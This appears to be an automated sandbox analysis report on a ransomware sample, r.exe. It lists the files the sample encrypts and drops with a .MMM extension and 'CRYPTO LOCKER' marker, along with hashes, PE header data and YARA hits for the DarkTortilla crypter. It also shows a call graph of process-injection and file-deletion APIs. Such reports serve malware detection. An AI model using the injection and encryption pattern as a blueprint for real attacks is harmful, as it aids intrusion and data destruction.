                                                        C:\Recovery\WindowsRE\boot.sdi

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):3170385
                                                        Entropy (8bit):2.9490938802133972
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:3DBE605940373AB1E7D0BE3AC1742185
                                                        SHA1:12BEBD726795EF6DC32CFB564DA42230C77B5ABE
                                                        SHA-256:8A914C82F10F7FED0F27C1A4BE4497A383BB242E2B364080AE78AF753F6AF2E8
                                                        SHA-512:04166EE25B184EB76DE244A0BFA3148D041114E8FA5D722F85D7042E6ED21EC1089B54C17952C2B5BC22D1E8E8611D9D7E33D4FB7D253257463843BC76BC06B8
                                                        Malicious:false
                                                        Preview:........fi.Y["...W...?.\..m.............e."Ab.go*.gK.H....].SI..[.f.1w/...l....r....R%.jf../.f..Z..%.)2.}Y..\..o..&....%.R7|..N.H.....X'q.w...W.`Or. .O.)qriL$...\.......f8k....E!..M:.6Fo......._..|..|....I]*.$R.w....8&'Q.....$....)!..L6-..ms.....&.l..9.n..@.P...`..:..W.-6..m...../.h...7 ...k..h.H+.*......~..eO..tk.r.8..K..6X}. .....=[.--4...E.W0!Q....Ze.i.n.....'.puf5.......$.....;o..82.6 .. `.x.G!>.I......>.}.2..}....9.c.....e...|........(......}..98.DS...[.2....f..y.Kc...\:.'b.A...j..P(.......b.......?....m|.b)w....g.D/`..a.:...E.,.<.....w..._..,...8.....R.gg^..$..$N.|.....-'.....{..uD..U.=.=.9DQ....../B2...#...L.;..s~y..t.."s..)H.....A..s..f>.\.....i...}*....A.t....>.A..f...'."..]........E.6.g].@...]6!XY..'L3.....N.?..[.d`Abs.^.Zi.4d........s>p...}j..#.!...l9t.Nd5l`.... .-.?../L5$$L..".....'xf..S.(.#J7...i..A,.R..)%....u.j[..".#FI.F..7.}.G.....=.y.#D.$......{..7.+.._."~,_...S..VZ.DV.W5.........4. 4..3~.j.3X.)T..m.G..39t..n."...7..N........,.

                                                        C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\r.exe.log

                                                        Download File
                                                        Process:C:\Users\user\Desktop\r.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):1216
                                                        Entropy (8bit):5.355304211458859
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:FED34146BF2F2FA59DCF8702FCC8232E
                                                        SHA1:B03BFEA175989D989850CF06FE5E7BBF56EAA00A
                                                        SHA-256:123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
                                                        SHA-512:1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
                                                        Malicious:true
                                                        Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                        C:\bootTel.dat

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):161
                                                        Entropy (8bit):6.757844440186095
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:3507BA1F7DBD0AC313C66E27A2EA5D2C
                                                        SHA1:FD93DE645AFA255A8E1F20EAABF575ED8C90BB2F
                                                        SHA-256:531FB432A904B3CCC57BB27F47B0358AA8CE0052913157647AA51E5FFA61DFFD
                                                        SHA-512:98184E5ED7A3B672302928938B7E2C97FC837FAF3912422CE07D26353C11723616F232650C9BAF5C936F0E155B7DFCFCF748DFAFD2FB1347125161B2CBED3F33
                                                        Malicious:false
                                                        Preview:.2p........o...f..y....3...FS...N...o..J..k.....8.b...._B....K.I...LQ..7.2....J................:....x.D.......JJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        C:\bootTel.dat.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):161
                                                        Entropy (8bit):6.757844440186095
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:3507BA1F7DBD0AC313C66E27A2EA5D2C
                                                        SHA1:FD93DE645AFA255A8E1F20EAABF575ED8C90BB2F
                                                        SHA-256:531FB432A904B3CCC57BB27F47B0358AA8CE0052913157647AA51E5FFA61DFFD
                                                        SHA-512:98184E5ED7A3B672302928938B7E2C97FC837FAF3912422CE07D26353C11723616F232650C9BAF5C936F0E155B7DFCFCF748DFAFD2FB1347125161B2CBED3F33
                                                        Malicious:false
                                                        Preview:.2p........o...f..y....3...FS...N...o..J..k.....8.b...._B....K.I...LQ..7.2....J................:....x.D.......JJu...5..T`.........n.}....k.[.ZCRYPTO LOCKER

                                                        M:\Recovery\WindowsRE\ReAgent.xml.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):1186
                                                        Entropy (8bit):7.824830055110892
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:F48809414A74DE4FED8A305A13A1F98F
                                                        SHA1:76ECC27C9B94642C24E7BBCA97F6A3755C796AE5
                                                        SHA-256:A1F26C3DA393CE07520D2E80C6025BF93D8F791E8BA942AA2F51319E2B6B2838
                                                        SHA-512:B5A74F65D575BBF4E4649B98625145A170E09912F7366632F82D2BCD206547FF84ADA0D4A1F1CD04A8D89D898F2B5D208CE407828B932BED3FF60D7E0C040E3D
                                                        Malicious:false
                                                        Preview:x.5...Y@AE.T....hx.|WmS..i..G.:8{lH3...S......UVeT.~.]O.......'.........p~..N1N....r...m.q...RwF9..31.5.lI..f.I..n..`.ADBh.f.V.e.Tj.<...H../..Q...a..%^.+....k.m.ZT.....?.uh..b..6.*U.a...b..WF89C.+ qd.^..]..].c.........A.O.v...$..._%.:.,.eS.3.......OK<..0|.9...fG..../...Mq.v.4.f.....Zm.l...E..M...h.n.8.z0......?oP.._.83...%VP\........i5bP..E..3]t....p.....Z6.J.........Zb.../%..ih}.b.".....|...;Ia.P..<Ku..o..i6.<....;.o.....:..'..Ix@..8......&2........`..&.EpG...+SH!.....+....i.#.`...,..tc.\...CnN I'..q..qK{..|P+'L...T.....i.GQBf.2y/..MZ......t...a^.8....X...).U..Mt...?.....W...s!......hR....nb..+`..`.R...+hk..m.}...^:...X.........(..z.@|.j..F.;..E........$.b^Bq6.....E..7@24...Y.."$........aw...&.....P$IUh."Q.r....lS..s/.6.H4. ..^9.I?..2._%I/.?.<.........y..i..p...LmY../...0...t-....:D..y....K./=^.mW.|..t]..\R..6.0.l..2.7...Yh...X.p;...C....g......=.fDn......I3....i...a(0.r...%..||..*..b......V.Y56....m.&...Z..I.......@.S.....I..

                                                        M:\Recovery\WindowsRE\Winre.wim.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):367239423
                                                        Entropy (8bit):7.9995570690835605
                                                        Encrypted:true
                                                        SSDEEP:
                                                        MD5:872A4B59ACE2AEB10AA652B82351E79A
                                                        SHA1:A0915ED06CC2BF961365E2BD72EEA2C524011345
                                                        SHA-256:B570580D054A10DBA4D56914F6730CF25B34A9607400CB664E6BB967E39BE722
                                                        SHA-512:F6791CFA63CE729F9027514484AB7F65DD99AF3C2DE3C5F0A3786FC851D9D60B6A4DC424CCF967E3720543D196DFEBC73BE292CD91567BAAD3FAFB20EB0F1880
                                                        Malicious:false
                                                        Preview:.(.........D..x.t.1....~..A)-.n...N.K.r.Q.p.k_.Z.[.R.....8..J....@/...9.)..L.U..........m..p"....\~w..ni._.........-)k.&Y.^eM:...M...1.N.M..$......B.q3.Be.!.....9...U.:.R-,...u35.+.......9.B...B.e....9.v..c....(.f~.<.6.B.bS.v1G^|Xa.j...EE9..'.xWk........9/.w......2.........py.l...}.t.....#.N=.....".y....1....5-L..L.aj..V.U.G...w.g.,....c.2R....VL..J>-..k.5\8.B...w.....n.axnw..x{...Y...Y.;()..c..Y(...J....m.(Ku....r;...yV....M8...._>.....`n.7V...0..Q...o+DD..h.......Y........t....@....x..V.do.J.....=....Fq......p"..x..f....n....m.....0.....W.....'{.........c..36...u.....oZ...>.F.7.a~.fi8..yQ.. .X..zz.}..q.f.]...*...0....r...3....W_.Cc!K1h...-e...B..'....5..~@h.)..zeHc../....t$.....T..bp......\.2....f.KF{.\.qb....(.y..D..h>...zk.5^..:..ld.fqs}.....6.La...y..fV...W..^..\.ak.S....m...Qs^...V.%..T.....6..z.N.X.a.$F.=0.1.v.h.1.{.....fK...t...^)..............I.."...8...{N%..n.!.r......9. .q..n.....0.....w$l....j...4....3o].J.EB..

                                                        M:\Recovery\WindowsRE\boot.sdi.MMM (copy)

                                                        Download File
                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):3170385
                                                        Entropy (8bit):2.9490938802133972
                                                        Encrypted:false
                                                        SSDEEP:
                                                        MD5:3DBE605940373AB1E7D0BE3AC1742185
                                                        SHA1:12BEBD726795EF6DC32CFB564DA42230C77B5ABE
                                                        SHA-256:8A914C82F10F7FED0F27C1A4BE4497A383BB242E2B364080AE78AF753F6AF2E8
                                                        SHA-512:04166EE25B184EB76DE244A0BFA3148D041114E8FA5D722F85D7042E6ED21EC1089B54C17952C2B5BC22D1E8E8611D9D7E33D4FB7D253257463843BC76BC06B8
                                                        Malicious:false
                                                        Preview:........fi.Y["...W...?.\..m.............e."Ab.go*.gK.H....].SI..[.f.1w/...l....r....R%.jf../.f..Z..%.)2.}Y..\..o..&....%.R7|..N.H.....X'q.w...W.`Or. .O.)qriL$...\.......f8k....E!..M:.6Fo......._..|..|....I]*.$R.w....8&'Q.....$....)!..L6-..ms.....&.l..9.n..@.P...`..:..W.-6..m...../.h...7 ...k..h.H+.*......~..eO..tk.r.8..K..6X}. .....=[.--4...E.W0!Q....Ze.i.n.....'.puf5.......$.....;o..82.6 .. `.x.G!>.I......>.}.2..}....9.c.....e...|........(......}..98.DS...[.2....f..y.Kc...\:.'b.A...j..P(.......b.......?....m|.b)w....g.D/`..a.:...E.,.<.....w..._..,...8.....R.gg^..$..$N.|.....-'.....{..uD..U.=.=.9DQ....../B2...#...L.;..s~y..t.."s..)H.....A..s..f>.\.....i...}*....A.t....>.A..f...'."..]........E.6.g].@...]6!XY..'L3.....N.?..[.d`Abs.^.Zi.4d........s>p...}j..#.!...l9t.Nd5l`.... .-.?../L5$$L..".....'xf..S.(.#J7...i..A,.R..)%....u.j[..".#FI.F..7.}.G.....=.y.#D.$......{..7.+.._."~,_...S..VZ.DV.W5.........4. 4..3~.j.3X.)T..m.G..39t..n."...7..N........,.

                                                        Static File Info

                                                        General

                                                        File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                        Entropy (8bit):6.932781149565205
                                                        TrID:
                                                        • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                        • Win32 Executable (generic) a (10002005/4) 49.78%
                                                        • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                        • Generic Win/DOS Executable (2004/3) 0.01%
                                                        • DOS Executable Generic (2002/1) 0.01%
                                                        File name:r.exe
                                                        File size:377'856 bytes
                                                        MD5:0f77484639b1193ad66e313040c92571
                                                        SHA1:6254f2885d5b926292d13064803bbce38462243d
                                                        SHA256:0c834bc8becd5d9624b4ac454edad1f6198fbcd89395daeae79f2788a5a3f1a1
                                                        SHA512:974fd50f51cce1cb51c92303fe007c0a885eb618febb008dadf98dfe706668caf5d3fb7a377b1851f308516fd12f57f17ab2b552814fb7f1d9ce4f0d4a5ded9c
                                                        SSDEEP:6144:bW62kkloMUjvxvGF7u6v441YHcE59RV/+8N9muM5n:bWDRGJvw7uT41JQ/+q
                                                        TLSH:2F84CF87AFC664E5C57EDBB0925A38A833718D5FA293E39601CC50E4A7A33995C058F3
                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....k.................................. ........@.. ....................... ............`................................

                                                        File Icon

                                                        Icon Hash:90cececece8e8eb0

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x45db0e
                                                        Entrypoint Section:.text
                                                        Digitally signed:false
                                                        Imagebase:0x400000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x106BB60A [Sun Sep 24 14:13:30 1978 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:4
                                                        OS Version Minor:0
                                                        File Version Major:4
                                                        File Version Minor:0
                                                        Subsystem Version Major:4
                                                        Subsystem Version Minor:0
                                                        Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                        Entrypoint Preview

                                                        Instruction
                                                        jmp dword ptr [00402000h]
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al
                                                        add byte ptr [eax], al

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x5dab80x53.text
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x5e0000x3d0.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x600000xc.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x20000x5bb140x5bc00False0.7151364526566758data6.949507146364391IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rsrc0x5e0000x3d00x400False0.4189453125data3.3554936912282116IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .reloc0x600000xc0x200False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_VERSION0x5e0580x378data0.44594594594594594

                                                        Imports

                                                        DLLImport
                                                        mscoree.dll_CorExeMain

                                                        Network Behavior

                                                        ⊘No network behavior found

                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:08:39:02
                                                        Start date:01/08/2023
                                                        Path:C:\Users\user\Desktop\r.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:C:\Users\user\Desktop\r.exe
                                                        Imagebase:0x170000
                                                        File size:377'856 bytes
                                                        MD5 hash:0F77484639B1193AD66E313040C92571
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:.Net C# or VB.NET
                                                        Yara matches:
                                                        • Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.487039298.000000000429D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.487039298.0000000004336000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.495810810.0000000007F30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: JoeSecurity_DarkTortilla, Description: Yara detected DarkTortilla Crypter, Source: 00000000.00000002.478036079.0000000003171000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        Reputation:low

                                                        General

                                                        Target ID:1
                                                        Start time:08:39:18
                                                        Start date:01/08/2023
                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        Imagebase:0x10000
                                                        File size:42'080 bytes
                                                        MD5 hash:F2A47587431C466535F3C3D3427724BE
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:24.1%
                                                          Dynamic/Decrypted Code Coverage:100%
                                                          Signature Coverage:9.4%
                                                          Total number of Nodes:64
                                                          Total number of Limit Nodes:3
                                                          execution_graph 34017 81bfe38 34018 81bfe80 WriteProcessMemory 34017->34018 34020 81bfed7 34018->34020 33959 5170780 33960 51707c0 ResumeThread 33959->33960 33962 51707f1 33960->33962 34021 5170270 34022 51702b8 VirtualProtectEx 34021->34022 34024 51702f6 34022->34024 34025 5170ab0 34026 5170c3b 34025->34026 34027 5170ad6 34025->34027 34027->34026 34030 5170d30 PostMessageW 34027->34030 34032 5170d29 PostMessageW 34027->34032 34031 5170d9c 34030->34031 34031->34027 34033 5170d9c 34032->34033 34033->34027 33963 807565e 33965 8075663 33963->33965 33964 8076966 33965->33964 33969 81bda4c 33965->33969 33975 81b8548 33965->33975 33981 81b8558 33965->33981 33970 81bda2a 33969->33970 33970->33969 33971 81bda3b 33970->33971 33987 81bf0a8 33970->33987 33992 81bf0e0 33970->33992 33996 81bf0d0 33970->33996 33971->33964 33976 81b8558 33975->33976 33978 81bf0a8 DeleteFileW 33976->33978 33979 81bf0d0 DeleteFileW 33976->33979 33980 81bf0e0 DeleteFileW 33976->33980 33977 81bda3b 33977->33964 33978->33977 33979->33977 33980->33977 33982 81b8582 33981->33982 33984 81bf0a8 DeleteFileW 33982->33984 33985 81bf0d0 DeleteFileW 33982->33985 33986 81bf0e0 DeleteFileW 33982->33986 33983 81bda3b 33983->33964 33984->33983 33985->33983 33986->33983 33988 81bf0f1 33987->33988 33989 81bf0b6 33987->33989 34000 81bf278 33988->34000 33989->33971 33990 81bf0fa 33990->33971 33993 81bf0f1 33992->33993 33995 81bf278 DeleteFileW 33993->33995 33994 81bf0fa 33994->33971 33995->33994 33997 81bf0f1 33996->33997 33999 81bf278 DeleteFileW 33997->33999 33998 81bf0fa 33998->33971 33999->33998 34001 81bf28b 34000->34001 34005 81bf6ca 34001->34005 34009 81bf6e0 34001->34009 34002 81bf601 34002->33990 34006 81bf6e0 34005->34006 34013 81b0ff4 34006->34013 34010 81bf6f5 34009->34010 34011 81b0ff4 DeleteFileW 34010->34011 34012 81bf999 34011->34012 34012->34002 34014 81bfa28 DeleteFileW 34013->34014 34016 81bf999 34014->34016 34016->34002 34034 81bfd30 34035 81bfd70 VirtualAllocEx 34034->34035 34037 81bfdad 34035->34037 34038 51704f8 34039 517053d SetThreadContext 34038->34039 34041 5170585 34039->34041

                                                          Executed Functions

                                                          Function 081E799F Relevance: 5.5, Instructions: 5490COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 81e799f-81e7c02 30 81e7c08-81e892b 0->30 31 81e9b32-81e9e1c 0->31 429 81e8c20-81e9b2a 30->429 430 81e8931-81e8c18 30->430 108 81eae4c-81ebe16 31->108 109 81e9e22-81eae44 31->109 688 81ebe1c-81ec0fe 108->688 689 81ec106-81ec119 108->689 109->108 429->31 430->429 688->689 695 81ec11f-81ec739 689->695 696 81ec741-81ed651 689->696 695->696 1064 81ed651 call 81eeec0 696->1064 1065 81ed651 call 81eeeb1 696->1065 1063 81ed657-81ed65e 1064->1063 1065->1063
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 423497842a0ef6c58cb322f06bf625aaaea5d64455f5e75c049f3ee0dfb19f3d
                                                          • Instruction ID: 5a9853f578495d1a676551595394e05973dc7bd805cf49db22064a610f913e1d
                                                          • Opcode Fuzzy Hash: 423497842a0ef6c58cb322f06bf625aaaea5d64455f5e75c049f3ee0dfb19f3d
                                                          • Instruction Fuzzy Hash: E2B3E974A0122D8BCB54EF78D99869EBBB2FF89301F0085AED449A7351DB359E84CF41
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E79B0 Relevance: 5.5, Instructions: 5486COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1066 81e79b0-81e7c02 1096 81e7c08-81e892b 1066->1096 1097 81e9b32-81e9e1c 1066->1097 1495 81e8c20-81e9b2a 1096->1495 1496 81e8931-81e8c18 1096->1496 1174 81eae4c-81ebe16 1097->1174 1175 81e9e22-81eae44 1097->1175 1754 81ebe1c-81ec0fe 1174->1754 1755 81ec106-81ec119 1174->1755 1175->1174 1495->1097 1496->1495 1754->1755 1761 81ec11f-81ec739 1755->1761 1762 81ec741-81ed651 1755->1762 1761->1762 2130 81ed651 call 81eeec0 1762->2130 2131 81ed651 call 81eeeb1 1762->2131 2129 81ed657-81ed65e 2130->2129 2131->2129
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 190104db6382118b27e6f988f58da543c0a7e1d85aac5d1e6d8072b6f1a1bb17
                                                          • Instruction ID: 0a209cee0bf1e3881111e360252ac3d26ea16cf5eaeeb64ab420e2ef244e5ce8
                                                          • Opcode Fuzzy Hash: 190104db6382118b27e6f988f58da543c0a7e1d85aac5d1e6d8072b6f1a1bb17
                                                          • Instruction Fuzzy Hash: C7B3E974A0122D8BCB54EF78D99869EBBB2FF89301F0085AED449A7351DB359E84CF41
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081B8558 Relevance: 5.0, Instructions: 5034COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 3076 81b8558-81b8745 4014 81b8747 call 81bea30 3076->4014 4015 81b8747 call 81bea20 3076->4015 3098 81b874d-81bda33 4016 81bda35 call 81bf0a8 3098->4016 4017 81bda35 call 81bf0d0 3098->4017 4018 81bda35 call 81bf0e0 3098->4018 4013 81bda3b-81bda42 4014->3098 4015->3098 4016->4013 4017->4013 4018->4013
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e2289d9280371a05ec8b87b95442b1fd43372b406e0b2312b36b8d93a363f7b4
                                                          • Instruction ID: ecfcfdd1388ac39d37c9aa2897a269d4515fd52c6ff5dfc0f778e0cfc58a5fe3
                                                          • Opcode Fuzzy Hash: e2289d9280371a05ec8b87b95442b1fd43372b406e0b2312b36b8d93a363f7b4
                                                          • Instruction Fuzzy Hash: 8CA3F974A11219CBDB18EF38D99969DBBB2FB88300F0089AED489A3351DF359D94CF51
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0829CC60 Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499431998.0000000008290000.00000040.00000800.00020000.00000000.sdmp, Offset: 08290000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_8290000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: <
                                                          • API String ID: 0-4251816714
                                                          • Opcode ID: 321659c6062e126c925460e090531bc81f91d356370403732e625333e480d699
                                                          • Instruction ID: 7ec5ed02ef6c4c60cafc4f96dc19705335eed2ec19bea0796030451af25a5f8e
